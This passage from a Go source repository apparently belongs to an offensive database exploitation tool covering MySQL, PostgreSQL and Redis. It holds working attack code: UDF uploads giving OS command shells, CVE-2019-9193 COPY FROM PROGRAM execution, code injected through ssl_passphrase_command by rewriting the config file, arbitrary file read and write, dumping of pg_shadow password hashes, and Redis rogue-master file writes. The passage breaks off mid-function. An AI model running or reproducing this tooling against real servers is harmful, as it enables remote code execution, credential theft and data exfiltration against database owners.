} 374 | 375 | func (m *Mysql) createUdf() bool { 376 | var exist = m.udfExist("sys_eval") 377 | 378 | // 不存在则尝试创建 379 | if !exist { 380 | log.Info("start create udf") 381 | defer func() { 382 | err := recover() 383 | if err != nil { 384 | log.Warn(err) 385 | } 386 | }() 387 | info := m.execute("select @@plugin_dir,version(),@@version_compile_os,@@version_compile_machine;") 388 | pluginDir := info[1][0] 389 | version := info[1][1] 390 | os := info[1][2] 391 | platform := info[1][3] 392 | udf := mysql.GetMysqlUdf(os, platform) 393 | if udf == "" { 394 | return false 395 | } 396 | 397 | ext := "so" 398 | if strings.HasPrefix(os, "win") { 399 | ext = "dll" 400 | } 401 | 402 | if pluginDir == "" { 403 | log.Warn("plugin_dir is empty") 404 | // windowns 平台有默认路径 405 | if strings.HasPrefix(os, "win") { 406 | 407 | if common.CompareVersion("5.0", version, ".") { 408 | // version < 5.0 409 | pluginDir = "C:\\Windows\\" 410 | } else if common.CompareVersion("5.1", version, ".") { 411 | // 5.0 <= version < 5.1 412 | pluginDir = "C:\\Windows\\System32\\" 413 | } else { 414 | return false 415 | } 416 | } else { 417 | return false 418 | } 419 | } 420 | if strings.HasPrefix(os, "lin") && !strings.HasSuffix(pluginDir, "/") { 421 | pluginDir += "/" 422 | } else if strings.HasPrefix(os, "win") && !strings.HasSuffix(pluginDir, "\\") { 423 | pluginDir += "\\" 424 | } 425 | fileName := fmt.Sprintf("mysql_udf_%s.%s", common.GetRandomString(5), ext) 426 | fullPath := fmt.Sprintf("%s%s", pluginDir, fileName) 427 | success := m.WriteFile_by_IntoSql(udf, fullPath, false) 428 | if success { 429 | log.Info("write udf success") 430 | creatUdf := fmt.Sprintf("create function sys_eval returns string soname '%s'", fileName) 431 | if m.execute(creatUdf) != nil { 432 | log.Info("create udf success") 433 | exist = true 434 | } else { 435 | log.Warn("create udf fail") 436 | } 437 | 438 | } else { 439 | log.Warn("write udf fail") 440 | } 441 | } 442 | return exist 443 | } 444 | 445 | func (m *Mysql) UdfExecOsShell(cmd string, interactive bool) { 446 | if m.connect() != nil { 447 | return 448 | } 449 | 450 | if m.createUdf() { 451 | if interactive { 452 | pmt := prompt.New(func(in string) {}, 453 | func(document prompt.Document) []prompt.Suggest { 454 | return nil 455 | }) 456 | 457 | for { 458 | in := pmt.Input() 459 | if strings.EqualFold(in, "exit") || strings.EqualFold(in, "exit()") { 460 | break 461 | } 462 | if strings.Trim(in, " ") == "" { 463 | continue 464 | } 465 | m.udfExec(in) 466 | } 467 | } else { 468 | m.udfExec(cmd) 469 | } 470 | } 471 | } 472 | 473 | func (m *Mysql) udfExec(cmd string) { 474 | sql := fmt.Sprintf("select sys_eval('%s');", cmd) 475 | if result := m.execute(sql); result != nil { 476 | for _, out := range result[1:] { 477 | log.Output(out[0]) 478 | } 479 | } 480 | } 481 | -------------------------------------------------------------------------------- /core/mysql_test.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "davinci/common" 5 | "encoding/hex" 6 | "fmt" 7 | "io/ioutil" 8 | "testing" 9 | ) 10 | 11 | //var mysql = &Mysql{ 12 | // Host: "192.168.159.135", 13 | // Port: 3307, 14 | // User: "root", 15 | // Passwd: "123456", 16 | // DbName: "", 17 | // Cmd: "show databases", 18 | //} 19 | // 20 | //func TestExecuteOnce(t *testing.T) { 21 | // //conn, _ = client.Connect("192.168.159.135:3307", "root", "123456", "") 22 | // //r, _ := conn.Execute("desc information_schema.CHARACTER_SETS") 23 | // //fmt.Println(r.RowNumber()) 24 | // //fmt.Println(r.ColumnNumber()) 25 | // //fmt.Println(fmt.Sprintf("%v", r.FieldNames)) 26 | // //fmt.Println(string(r.Fields[0].Name)) 27 | // //defer r.Close() 28 | // defer mysql.Close() 29 | // mysql.ExecuteOnce() 30 | //} 31 | 32 | func TestXName(t *testing.T) { 33 | file := "D:\\project\\GolangProject\\davinci\\lib\\redis\\linux\\x86\\eval_x86.so" 34 | if content, readErr := ioutil.ReadFile(file); readErr == nil { 35 | h := "0x" + hex.EncodeToString(content) 36 | fmt.Println(h) 37 | } else { 38 | fmt.Println(readErr) 39 | } 40 | } 41 | 42 | func TestCompareVersion(t *testing.T) { 43 | version := "5.7.40" 44 | fmt.Println(common.CompareVersion("5.0", version, ".")) 45 | fmt.Println(common.CompareVersion("5.1", version, ".")) 46 | fmt.Println(common.CompareVersion("5.7.39", version, ".")) 47 | fmt.Println(common.CompareVersion("5.7.40", version, ".")) 48 | fmt.Println(common.CompareVersion("5.7.41", version, ".")) 49 | fmt.Println(common.CompareVersion("5.8", version, ".")) 50 | fmt.Println(common.CompareVersion("8.8", version, ".")) 51 | fmt.Println(common.CompareVersion("10.8", version, ".")) 52 | } 53 | -------------------------------------------------------------------------------- /core/pgsql.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "database/sql" 5 | "davinci/common" 6 | "davinci/common/log" 7 | "davinci/core/pgsql" 8 | "encoding/hex" 9 | "errors" 10 | "fmt" 11 | "github.com/c-bata/go-prompt" 12 | _ "github.com/lib/pq" 13 | "strings" 14 | "time" 15 | ) 16 | 17 | var excludePgDB = []string{ 18 | "template1", 19 | "template0", 20 | } 21 | 22 | var excludePgSchema = []string{ 23 | "pg_toast", 24 | "pg_temp_1", 25 | "pg_toast_temp_1", 26 | "pg_catalog", 27 | "information_schema", 28 | } 29 | 30 | type Pgsql struct { 31 | conn *sql.DB 32 | Host string 33 | Port int 34 | User string 35 | Passwd string 36 | DbName string 37 | Cmd string 38 | } 39 | 40 | func (p *Pgsql) connect() error { 41 | var err error 42 | if p.conn == nil { 43 | dataSrc := fmt.Sprintf("postgres://%s:%s@%s:%d/%s?sslmode=disable&connect_timeout=10", p.User, p.Passwd, p.Host, p.Port, p.DbName) 44 | if p.conn, err = sql.Open("postgres", dataSrc); err != nil { 45 | log.Error(err) 46 | } else if err = p.conn.Ping(); err != nil { 47 | log.Error(err) 48 | } 49 | } 50 | return err 51 | } 52 | 53 | func (p *Pgsql) Close() { 54 | if p.conn != nil { 55 | p.conn.Close() 56 | p.conn = nil 57 | } 58 | } 59 | 60 | func (p *Pgsql) ExecuteOnce() { 61 | if p.connect() != nil { 62 | return 63 | } 64 | 65 | result := p.execute(p.Cmd) 66 | log.Output(result) 67 | } 68 | 69 | func (p *Pgsql) AutoGather() { 70 | if p.connect() != nil { 71 | return 72 | } 73 | 74 | log.Output(p.getVersion()) 75 | log.Output(p.getUsers()) 76 | log.Output(p.getPgLanguage()) 77 | databases := p.getDatabases() 78 | log.Output(databases) 79 | 80 | //excludeDbs := p.getExcludeDbs() 81 | log.Info(fmt.Sprintf("exclude database(built-in): %s", strings.Join(excludePgDB, ","))) 82 | for _, db := range common.GetColumnData(databases, 0) { 83 | if common.Contains(excludePgDB, strings.ToLower(db)) { 84 | continue 85 | } 86 | p.gatherInOneDb(db) 87 | } 88 | 89 | log.Output(p.getExtensions()) 90 | log.Output(p.getSettings()) 91 | } 92 | 93 | func (p *Pgsql) SetHost(host string) { 94 | p.Host = host 95 | } 96 | func (p *Pgsql) SetPort(port int) { 97 | p.Port = port 98 | } 99 | 100 | func (p *Pgsql) SetCmd(cmd string) { 101 | p.Cmd = cmd 102 | } 103 | 104 | func (p *Pgsql) gatherInOneDb(dbName string) { 105 | p.Close() 106 | p.DbName = dbName 107 | if p.connect() != nil { 108 | return 109 | } 110 | log.Output(p.getCurrentDb()) 111 | log.Output(p.getDatabaseSize(dbName)) 112 | schemas := p.getSchemas() 113 | log.Output(schemas) 114 | 115 | log.Info(fmt.Sprintf("exclude schemas(built-in): %s", strings.Join(excludePgSchema, ","))) 116 | for _, schema := range common.GetColumnData(schemas, 0) { 117 | if common.Contains(excludePgSchema, strings.ToLower(schema)) { 118 | continue 119 | } 120 | tables := p.getTables(schema) 121 | log.Output(tables) 122 | for _, table := range common.GetColumnData(tables, 0) { 123 | tableStruct := p.getTableStruct(schema, table) 124 | log.Output(tableStruct) 125 | dataSum := p.getSumRows(schema, table) 126 | log.Output(dataSum) 127 | datas := p.getFirst5Rows(schema, table) 128 | log.Output(datas) 129 | } 130 | } 131 | } 132 | 133 | func (p *Pgsql) Shell() { 134 | 135 | if p.connect() != nil { 136 | return 137 | } 138 | sqlShell(p.execute) 139 | 140 | } 141 | 142 | func (p *Pgsql) execute(cmd string) [][]string { 143 | return execute(p.conn, cmd) 144 | } 145 | 146 | func (p *Pgsql) getDatabases() [][]string { 147 | sql := "SELECT datname FROM pg_catalog.pg_database;" 148 | log.Info("get databases") 149 | return p.execute(sql) 150 | } 151 | 152 | func (p *Pgsql) getDatabaseSize(dbName string) [][]string { 153 | sql := fmt.Sprintf("SELECT pg_size_pretty( pg_database_size('%s') );", dbName) 154 | log.Info("get database size: " + dbName) 155 | return p.execute(sql) 156 | } 157 | 158 | func (p *Pgsql) getSchemas() [][]string { 159 | sql := "SELECT schema_name,catalog_name,sql_path FROM information_schema.schemata;" 160 | log.Info("get schemas") 161 | return p.execute(sql) 162 | } 163 | 164 | func (p *Pgsql) getTables(schemaName string) [][]string { 165 | sql := fmt.Sprintf("SELECT table_name from information_schema.tables where table_schema='%s'", schemaName) 166 | log.Info(fmt.Sprintf("[info] get tables in %s ", schemaName)) 167 | return p.execute(sql) 168 | } 169 | 170 | func (p *Pgsql) getTableStruct(schemaName, tbName string) [][]string { 171 | sql := fmt.Sprintf("SELECT column_name,data_type,column_default FROM information_schema.columns WHERE table_schema='%s' and table_name = '%s';", schemaName, tbName) 172 | return p.execute(sql) 173 | } 174 | 175 | func (p *Pgsql) getSumRows(schemaName, tbName string) [][]string { 176 | sql := fmt.Sprintf("select count(*) from %s.%s;", schemaName, tbName) 177 | log.Info(fmt.Sprintf("get total number of rows in table [%s]", tbName)) 178 | return p.execute(sql) 179 | } 180 | 181 | func (p *Pgsql) getFirst5Rows(schemaName, tbName string) [][]string { 182 | sql := fmt.Sprintf("select * from %s.%s limit 5;", schemaName, tbName) 183 | log.Info(fmt.Sprintf("get first 5 rows in table [%s.%s]", schemaName, tbName)) 184 | return p.execute(sql) 185 | } 186 | 187 | func (p *Pgsql) getUsers() [][]string { 188 | sql := fmt.Sprintf("SELECT usename,passwd FROM pg_shadow;") 189 | log.Info("get users") 190 | return p.execute(sql) 191 | } 192 | 193 | func (p *Pgsql) getCurrentDb() [][]string { 194 | sql := fmt.Sprintf("select current_database();") 195 | log.Info("get current database") 196 | return p.execute(sql) 197 | } 198 | 199 | func (p *Pgsql) getVersion() [][]string { 200 | sql := fmt.Sprintf("select version();") 201 | log.Info("get version") 202 | return p.execute(sql) 203 | } 204 | 205 | func (p *Pgsql) getExtensions() [][]string { 206 | sql := fmt.Sprintf("select * from pg_available_extensions") 207 | log.Info("get extensions") 208 | return p.execute(sql) 209 | } 210 | 211 | func (p *Pgsql) getSettings() [][]string { 212 | sql := fmt.Sprintf("select name,setting from pg_settings") 213 | log.Info("get pg settings") 214 | return p.execute(sql) 215 | } 216 | 217 | func (p *Pgsql) ReadFile_by_PgReadFile(path string) (result string, err error) { 218 | if p.connect() != nil { 219 | return 220 | } 221 | sql := fmt.Sprintf("select pg_read_file('%s')", path) 222 | log.Info("read file by pg_read_file") 223 | if res := p.execute(sql); res != nil { 224 | result = res[1][0] 225 | } else { 226 | err = errors.New("execute pg_read_file function err") 227 | log.Warn("read file fail") 228 | } 229 | return 230 | } 231 | 232 | func (p *Pgsql) ReadFile_by_LoImport(path string, hex bool) (result string, err error) { 233 | if p.connect() != nil { 234 | return 235 | } 236 | log.Info("read file by lo_import()") 237 | oid := p.getUniqueOid() 238 | defer func() { 239 | p.execute(fmt.Sprintf("select lo_unlink(%s)", oid)) 240 | event := recover() 241 | if event != nil { 242 | err = event.(error) 243 | log.Warn("read file fail") 244 | log.Warn(event) 245 | } 246 | }() 247 | p.execute(fmt.Sprintf("select lo_import('%s',%s);", path, oid)) 248 | var sql string 249 | if hex { 250 | sql = fmt.Sprintf("select encode(data,'hex') from pg_largeobject where loid=%s", oid) 251 | } else { 252 | sql = fmt.Sprintf("select data from pg_largeobject where loid=%s", oid) 253 | } 254 | 255 | if res := p.execute(sql); res != nil { 256 | datas := common.GetColumnData(res, 0) 257 | result = strings.Join(datas, "") 258 | } 259 | return 260 | } 261 | 262 | func (p *Pgsql) ReadFile_by_CopyFrom(path string, hex bool) (result string, err error) { 263 | if p.connect() != nil { 264 | return 265 | } 266 | log.Info("read file by copy from") 267 | defer func() { 268 | event := recover() 269 | if event != nil { 270 | err = event.(error) 271 | log.Warn("read file fail") 272 | log.Warn(event) 273 | } 274 | }() 275 | tableName := p.getUniqueTableName() 276 | p.execute(fmt.Sprintf("create table %s(data TEXT);", tableName)) 277 | p.execute(fmt.Sprintf("copy %s from '%s';", tableName, path)) 278 | var sql string 279 | if hex { 280 | sql = fmt.Sprintf("select encode(data::bytea,'hex') from %s ", tableName) 281 | } else { 282 | sql = fmt.Sprintf("select data from %s", tableName) 283 | } 284 | 285 | if res := p.execute(sql); res != nil { 286 | datas := common.GetColumnData(res, 0) 287 | sep := "\n" 288 | if hex { 289 | sep = "0A" 290 | } 291 | result = strings.Join(datas, sep) 292 | p.execute(fmt.Sprintf("drop table %s;", tableName)) 293 | } 294 | return 295 | } 296 | 297 | func (p *Pgsql) WriteFile_by_LoExport(hex, path string) bool { 298 | if p.connect() != nil { 299 | return false 300 | } 301 | oid := p.getUniqueOid() 302 | defer func() { 303 | p.execute(fmt.Sprintf("select lo_unlink(%s)", oid)) 304 | err := recover() 305 | if err != nil { 306 | log.Warn("write fail") 307 | log.Warn(err) 308 | } 309 | }() 310 | sql1 := fmt.Sprintf("select lo_from_bytea(%s,decode('%s','hex'));", oid, hex) 311 | log.Info("lo_export write file") 312 | if result := p.execute(sql1); result != nil { 313 | sql2 := fmt.Sprintf("select lo_export(%s, '%s');", oid, path) 314 | //_,err := p.conn.Query("") 315 | if p.execute(sql2) != nil { 316 | log.Info("write success") 317 | return true 318 | } 319 | } 320 | log.Warn("write fail") 321 | return false 322 | } 323 | 324 | func (p *Pgsql) WriteFile_by_CopyTo(hex, path string) bool { 325 | if p.connect() != nil { 326 | return false 327 | } 328 | sql := fmt.Sprintf("copy (select convert_from(decode('%s','hex'),'utf-8')) to '%s';", hex, path) 329 | log.Info("copy to write file") 330 | if result := p.execute(sql); result != nil { 331 | log.Info("write success") 332 | return true 333 | } 334 | log.Warn("write fail") 335 | return false 336 | } 337 | 338 | func (p *Pgsql) ListDir_by_PgLsDir(path string) (result [][]string, err error) { 339 | if p.connect() != nil { 340 | return 341 | } 342 | sql := fmt.Sprintf("select pg_ls_dir('%s')", path) 343 | log.Info("list dir by pg_ls_dir") 344 | if result = p.execute(sql); result == nil { 345 | err = errors.New("execute pg_ls_dir function err") 346 | log.Warn("list dir fail") 347 | } 348 | return 349 | } 350 | 351 | func (p *Pgsql) Mkdir_by_LogDirectory(path string) bool { 352 | if p.connect() != nil { 353 | return false 354 | } 355 | defer func() { 356 | err := recover() 357 | if err != nil { 358 | log.Warn("mkdir dir fail: ", err) 359 | } 360 | }() 361 | logOpen := p.execute("select setting from pg_settings where name='logging_collector'") 362 | if logOpen[1][0] != "on" { 363 | log.Warn("logging_collector is off") 364 | return false 365 | } 366 | configPath := p.execute("select setting from pg_settings where name='config_file'")[1][0] 367 | log.Info("config_file: ", configPath) 368 | configContent, _ := p.ReadFile_by_PgReadFile(configPath) 369 | newContent := pgsql.PatchPgConfig(configContent, "log_directory", fmt.Sprintf("'%s'", path)) 370 | if p.WriteFile_by_LoExport(hex.EncodeToString([]byte(newContent)), configPath) { 371 | p.execute("select pg_reload_conf();") 372 | time.Sleep(5 * 100 * time.Millisecond) 373 | p.execute("select setting from pg_settings where name='log_directory'") 374 | oid := p.getUniqueOid() 375 | sql := fmt.Sprintf("select lo_import('%s',%s);", path, oid) 376 | log.Info("execute sql:", sql) 377 | _, err := p.conn.Query(sql) 378 | if err != nil && strings.Contains(err.Error(), "Is a directory") { 379 | log.Info("mkdir dir success") 380 | return true 381 | } 382 | log.Error(err.Error()) 383 | } 384 | log.Warn("mkdir dir fail") 385 | return false 386 | } 387 | 388 | func (p *Pgsql) OsExec_cve_2019_9193(cmd string) (string, bool) { 389 | tableName := p.getUniqueTableName() 390 | p.execute(fmt.Sprintf("CREATE TABLE %s(output text);", tableName)) 391 | cmd = strings.ReplaceAll(cmd, "'", "''") 392 | p.execute(fmt.Sprintf("COPY %s FROM PROGRAM '%s';", tableName, cmd)) 393 | res := p.execute(fmt.Sprintf("select output from %s", tableName)) 394 | var flag = false 395 | var result string 396 | if res != nil { 397 | flag = true 398 | result = strings.Join(common.GetColumnData(res, 0), "\n") 399 | } 400 | p.execute(fmt.Sprintf("DROP TABLE IF EXISTS %s;", tableName)) 401 | return result, flag 402 | } 403 | 404 | func (p *Pgsql) OsExec_UDF(cmd string) (string, bool) { 405 | 406 | cmd = strings.ReplaceAll(cmd, "'", "''") 407 | 408 | exist := p.execute("select * from pg_proc where proname='sys_eval'") 409 | if exist == nil || len(exist) <= 1 { 410 | if !p.createUdf() { 411 | return "", false 412 | } 413 | } 414 | res := p.execute(fmt.Sprintf("select sys_eval('%s')", cmd)) 415 | if res != nil { 416 | return res[1][0], true 417 | } 418 | return "", false 419 | } 420 | 421 | func (p *Pgsql) createUdf() bool { 422 | if p.connect() != nil { 423 | return false 424 | } 425 | defer func() { 426 | err := recover() 427 | if err != nil { 428 | log.Warn(err) 429 | } 430 | }() 431 | version := p.execute("show server_version")[1][0] 432 | info := strings.ToLower(p.execute("select version()")[1][0]) 433 | var os string 434 | var platform string 435 | var ext string 436 | if strings.Contains(info, "linux") { 437 | os = "linux" 438 | ext = "so" 439 | } else if strings.Contains(info, "win") { 440 | os = "windows" 441 | ext = "dll" 442 | } else { 443 | log.Warn("unkonw/unsupport os: " + info) 444 | return false 445 | } 446 | 447 | if strings.Contains(info, "x86_64") || strings.Contains(info, "amd64") { 448 | platform = "x86_64" 449 | } else if strings.Contains(info, "i386") || strings.Contains(info, "i686") || strings.Contains(info, "x86") { 450 | platform = "x86_32" 451 | } else if strings.Contains(info, "aarch64") { 452 | platform = "arm64" 453 | } else { 454 | log.Warn("unkonw/unsupport platform: " + info) 455 | return false 456 | } 457 | 458 | udf := pgsql.GetPgsqlUdf(os, platform, version) 459 | if udf == "" { 460 | return false 461 | } 462 | 463 | dir := "/tmp/" 464 | if dirRes := p.execute("select current_setting('data_directory')"); dirRes != nil { 465 | if dirRes[1][0] != "" { 466 | dir = dirRes[1][0] 467 | } 468 | if !strings.HasSuffix(dir, "/") { 469 | dir = dir + "/" 470 | } 471 | } 472 | path := fmt.Sprintf("%s%s.%s", dir, common.GetRandomAlapha(8), ext) 473 | p.WriteFile_by_LoExport(udf, path) 474 | if p.execute(fmt.Sprintf("create or replace function sys_eval(text) returns text as '%s','sys_eval' language c strict;", path)) != nil { 475 | return true 476 | } 477 | return false 478 | } 479 | 480 | func (p *Pgsql) OsExec_ssl_passpharse_command(cmd string) bool { 481 | if p.connect() != nil { 482 | return false 483 | } 484 | defer func() { 485 | err := recover() 486 | if err != nil { 487 | log.Warn(err) 488 | } 489 | }() 490 | version := p.execute("show server_version")[1][0] 491 | if common.CompareVersion("11", version, ".") { 492 | log.Warn("version < 11") 493 | return false 494 | } 495 | // 写入ssl_key_file 496 | var passwd = "12345678" 497 | snakeoilPem, _ := p.ReadFile_by_LoImport("/etc/ssl/private/ssl-cert-snakeoil.key", false) 498 | privatePass, _ := common.EncryptRSAPrivateKey([]byte(snakeoilPem), passwd) 499 | dirRes := p.execute("select current_setting('data_directory')")[1][0] 500 | pgVersionPath := dirRes + "/PG_VERSION" 501 | p.WriteFile_by_LoExport(hex.EncodeToString(privatePass), pgVersionPath) 502 | 503 | // 写入新配置 504 | configPath := p.execute("select setting from pg_settings where name='config_file'")[1][0] 505 | log.Info("config_file: ", configPath) 506 | configContent, _ := p.ReadFile_by_PgReadFile(configPath) 507 | newContent := pgsql.PatchPgConfig(configContent, "ssl", "on") 508 | newContent = pgsql.PatchPgConfig(newContent, "ssl_cert_file", "'/etc/ssl/certs/ssl-cert-snakeoil.pem'") 509 | newContent = pgsql.PatchPgConfig(newContent, "ssl_key_file", fmt.Sprintf("'%s'", pgVersionPath)) 510 | newContent = pgsql.PatchPgConfig(newContent, "ssl_passphrase_command_supports_reload", "on") 511 | newContent = pgsql.PatchPgConfig(newContent, "ssl_passphrase_command", fmt.Sprintf("'sh -c \"%s & echo %s; exit 0\"'", cmd, passwd)) 512 | p.WriteFile_by_LoExport(hex.EncodeToString([]byte(newContent)), configPath) 513 | 514 | // 重置执行 515 | p.execute("select pg_reload_conf();") 516 | return true 517 | } 518 | 519 | func (p *Pgsql) getPgLanguage() [][]string { 520 | log.Info("get pg_language") 521 | return p.execute("select * from pg_language") 522 | } 523 | 524 | func (p *Pgsql) getUniqueOid() string { 525 | var oid string 526 | for oid = common.GetRandomNum(6); ; { 527 | res := p.execute(fmt.Sprintf("select count(*) from pg_largeobject where loid=%s", oid)) 528 | if res[1][0] == "0" { 529 | break 530 | } 531 | } 532 | return oid 533 | return oid 534 | } 535 | 536 | func (p *Pgsql) getUniqueTableName() string { 537 | if p.DbName == "" { 538 | p.DbName = "postgres" 539 | } 540 | tables := common.GetColumnData(p.getTables(p.DbName), 0) 541 | for tableName := common.GetRandomAlapha(10); ; { 542 | if !common.Contains(tables, tableName) { 543 | return tableName 544 | } 545 | } 546 | } 547 | 548 | type osExecPgFunc func(cmd string) (string, bool) 549 | 550 | func (p *Pgsql) ExecOsShell(cmd string, interactive bool, execFunc osExecPgFunc) { 551 | if p.connect() != nil { 552 | return 553 | } 554 | if interactive { 555 | pmt := prompt.New(func(in string) {}, 556 | func(document prompt.Document) []prompt.Suggest { 557 | return nil 558 | }) 559 | 560 | for { 561 | in := pmt.Input() 562 | if strings.EqualFold(in, "exit") || strings.EqualFold(in, "exit()") { 563 | break 564 | } 565 | if strings.Trim(in, " ") == "" { 566 | continue 567 | } 568 | if result, flag := execFunc(in); flag { 569 | log.Output(result) 570 | } 571 | } 572 | } else { 573 | if result, flag := execFunc(cmd); flag { 574 | log.Output(result) 575 | } 576 | } 577 | } 578 | -------------------------------------------------------------------------------- /core/pgsql/config.go: -------------------------------------------------------------------------------- 1 | package pgsql 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | ) 7 | 8 | func PatchPgConfig(content, key, newValue string) string { 9 | lines := strings.Split(content, "\n") 10 | var adding = false 11 | var newline = fmt.Sprintf("%s = %s ", key, newValue) 12 | for i := 0; i < len(lines); i++ { 13 | line := strings.Trim(lines[i], " ") 14 | if strings.HasPrefix(line, "#") { 15 | continue 16 | } 17 | if strings.HasPrefix(line, key+" ") || strings.HasSuffix(line, key+"=") { 18 | lines[i] = newline 19 | adding = true 20 | } 21 | } 22 | if !adding { 23 | lines = append(lines, newline) 24 | } 25 | return strings.Join(lines, "\n") 26 | } 27 | -------------------------------------------------------------------------------- /core/redis.go: -------------------------------------------------------------------------------- 1 | package core 2 | 3 | import ( 4 | "context" 5 | "davinci/common" 6 | "davinci/common/log" 7 | redis2 "davinci/core/redis" 8 | "encoding/hex" 9 | "fmt" 10 | "github.com/c-bata/go-prompt" 11 | "github.com/redis/go-redis/v9" 12 | "reflect" 13 | "strconv" 14 | "strings" 15 | ) 16 | 17 | type Redis struct { 18 | conn *redis.Client 19 | Host string 20 | Port int 21 | User string 22 | Passwd string 23 | Cmd string 24 | context context.Context 25 | } 26 | 27 | func (r *Redis) connect() error { 28 | if r.conn == nil { 29 | log.Info("connecting target...") 30 | r.context = context.Background() 31 | r.conn = redis.NewClient(&redis.Options{ 32 | Addr: fmt.Sprintf("%s:%d", r.Host, r.Port), 33 | Password: r.Passwd, 34 | Username: r.User, 35 | }) 36 | if _, err := r.conn.Ping(r.context).Result(); err != nil { 37 | log.Error("redis connect err: ", err) 38 | 39 | return err 40 | } 41 | } 42 | return nil 43 | } 44 | 45 | func (r *Redis) Close() { 46 | if r.conn != nil { 47 | r.conn.Close() 48 | r.conn = nil 49 | } 50 | } 51 | 52 | func (r *Redis) ExecuteOnce() { 53 | if r.connect() != nil { 54 | return 55 | } 56 | result, err := r.execute(r.Cmd) 57 | if err == nil { 58 | log.Output(result) 59 | } else { 60 | log.Error(err) 61 | } 62 | } 63 | 64 | func (r *Redis) AutoGather() { 65 | if r.connect() != nil { 66 | return 67 | } 68 | log.Output(r.getUsers()) 69 | log.Output(r.info()) 70 | log.Output(r.dbsize()) 71 | log.Output(r.getAllKeys()) 72 | } 73 | 74 | func (r *Redis) Shell() { 75 | if r.connect() != nil { 76 | return 77 | } 78 | pmt := prompt.New(func(in string) {}, 79 | func(document prompt.Document) []prompt.Suggest { 80 | return []prompt.Suggest{} 81 | }) 82 | 83 | for { 84 | in := strings.Trim(pmt.Input(), " ") 85 | if in == "" { 86 | continue 87 | } 88 | if strings.EqualFold(in, "exit") || strings.EqualFold(in, "exit()") { 89 | break 90 | } else { 91 | result, err := r.execute(in) 92 | if err == nil { 93 | if result != nil { 94 | log.Output(result) 95 | } 96 | } else { 97 | log.Error(err) 98 | } 99 | } 100 | 101 | } 102 | } 103 | 104 | func (r *Redis) SetHost(host string) { 105 | r.Host = host 106 | } 107 | func (r *Redis) SetPort(port int) { 108 | r.Port = port 109 | } 110 | 111 | func (r *Redis) SetCmd(cmd string) { 112 | r.Cmd = cmd 113 | } 114 | 115 | func (r *Redis) getUsers() []string { 116 | var result = []string{"users (ACL USERS)"} 117 | res, err := r.execute("ACL USERS") 118 | if err == nil { 119 | if reflect.TypeOf(res).Kind() == reflect.Slice { 120 | for _, user := range res.([]interface{}) { 121 | result = append(result, user.(string)) 122 | } 123 | } else { 124 | result = append(result, res.(string)) 125 | } 126 | return result 127 | } else { 128 | log.Warn(err) 129 | return []string{} 130 | } 131 | 132 | } 133 | 134 | func (r *Redis) getAllKeys() []string { 135 | var result = []string{"all keys (SCAN 0)"} 136 | res, err := r.execute("SCAN 0") 137 | if err == nil { 138 | if reflect.TypeOf(res).Kind() == reflect.Slice { 139 | keys := res.([]interface{})[1] 140 | for _, key := range keys.([]interface{}) { 141 | result = append(result, key.(string)) 142 | } 143 | } else { 144 | result = append(result, res.(string)) 145 | } 146 | 147 | return result 148 | } else { 149 | log.Warn(err) 150 | return []string{} 151 | } 152 | } 153 | 154 | func (r *Redis) dbsize() []string { 155 | var result string 156 | res, err := r.execute("dbsize") 157 | if err == nil { 158 | if reflect.TypeOf(res).Kind() == reflect.Int64 { 159 | result = strconv.FormatInt(res.(int64), 10) 160 | } else { 161 | result = res.(string) 162 | } 163 | return []string{"dbsize", result} 164 | } else { 165 | log.Warn(err) 166 | return []string{} 167 | } 168 | } 169 | 170 | func (r *Redis) info() []string { 171 | res, err := r.execute("info") 172 | if err == nil { 173 | info := strings.Replace(res.(string), "\r", "", -1) 174 | result := strings.Split(info, "\n") 175 | return append([]string{"info"}, result...) 176 | } else { 177 | log.Warn(err) 178 | return []string{} 179 | } 180 | } 181 | 182 | func (r *Redis) execute(cmd string) (interface{}, error) { 183 | 184 | var err error 185 | var cmds []interface{} 186 | args := common.DelEmptyEle(common.SplitCmd(cmd, ' ')) 187 | for _, arg := range args { 188 | cmds = append(cmds, common.ResolveEscapeCharacters(arg)) 189 | } 190 | log.Info("execute: ", cmds) 191 | redisCmd := redis.NewCmd(r.context, cmds...) 192 | if err = r.conn.Process(r.context, redisCmd); err == nil { 193 | return redisCmd.Result() 194 | } 195 | return nil, err 196 | } 197 | 198 | /** 199 | * 通过rdb备份写文件 200 | */ 201 | func (r *Redis) WriteFile_by_RDBBack(file string, data []byte) { 202 | if r.connect() != nil { 203 | return 204 | } 205 | var randKey string 206 | dir, dbfilename := common.SplitFilePath(file) 207 | srcDirRes, err1 := r.execute("config get dir") 208 | srcDbfilenameRes, err2 := r.execute("config get dbfilename") 209 | if err1 != nil || err2 != nil { 210 | log.Warn(err1, err2) 211 | return 212 | } 213 | randKey = common.GetRandomString(8) 214 | for { 215 | _, err := r.execute(fmt.Sprintf("get %s", randKey)) 216 | if err != nil { 217 | break 218 | } 219 | randKey = common.GetRandomString(8) 220 | } 221 | defer r.recovery(randKey, srcDirRes, srcDbfilenameRes) 222 | err3 := r.setConfig("dir", dir) 223 | err4 := r.setConfig("dbfilename", dbfilename) 224 | if err3 != nil || err4 != nil { 225 | log.Warn(err3, err4) 226 | return 227 | } 228 | log.Info("set dir and dbfilename success") 229 | 230 | r.execute(fmt.Sprintf("set %s \"\n\n\n%s\n\n\n\"", randKey, string(data))) 231 | if result, err := r.execute("bgsave"); err == nil { 232 | log.Output(result) 233 | log.Info("writefile success") 234 | } else { 235 | log.Warn("execute bgsave fail: ", err) 236 | } 237 | } 238 | 239 | /** 240 | * 通过主从模式写文件 241 | * version>=2.8支持主从模块 242 | * 会清空原有数据 243 | * 可写二进制文件,无其他脏数据 244 | */ 245 | func (r *Redis) WriteFile_by_RogueMaster(file, rogueServerIp string, rogueServerPort int, data []byte, backup bool) { 246 | if r.connect() != nil { 247 | return 248 | } 249 | // 备份数据 250 | if backup { 251 | backupFile := "./redis-backup_" + common.GetRandomString(6) + ".txt" 252 | if r.DumpBackup(backupFile) != nil { 253 | log.Warn("backup redis error") 254 | return 255 | } else { 256 | log.Info("backup data: ", backupFile) 257 | log.Info("you can restore it with the following command: redis-cli --pipe < redis-backup.txt") 258 | } 259 | } 260 | // 数据长度<=8会导致redis崩溃,默认用空格补充 261 | minimumLength := 9 262 | if len(data) <= minimumLength { 263 | log.Warn("data length less than 9 will cause redis to crash, auto padding space") 264 | data = append(data, []byte(strings.Repeat(" ", minimumLength-len(data)))...) 265 | } 266 | // 备份原始配置 267 | dir, dbfilename := common.SplitFilePath(file) 268 | 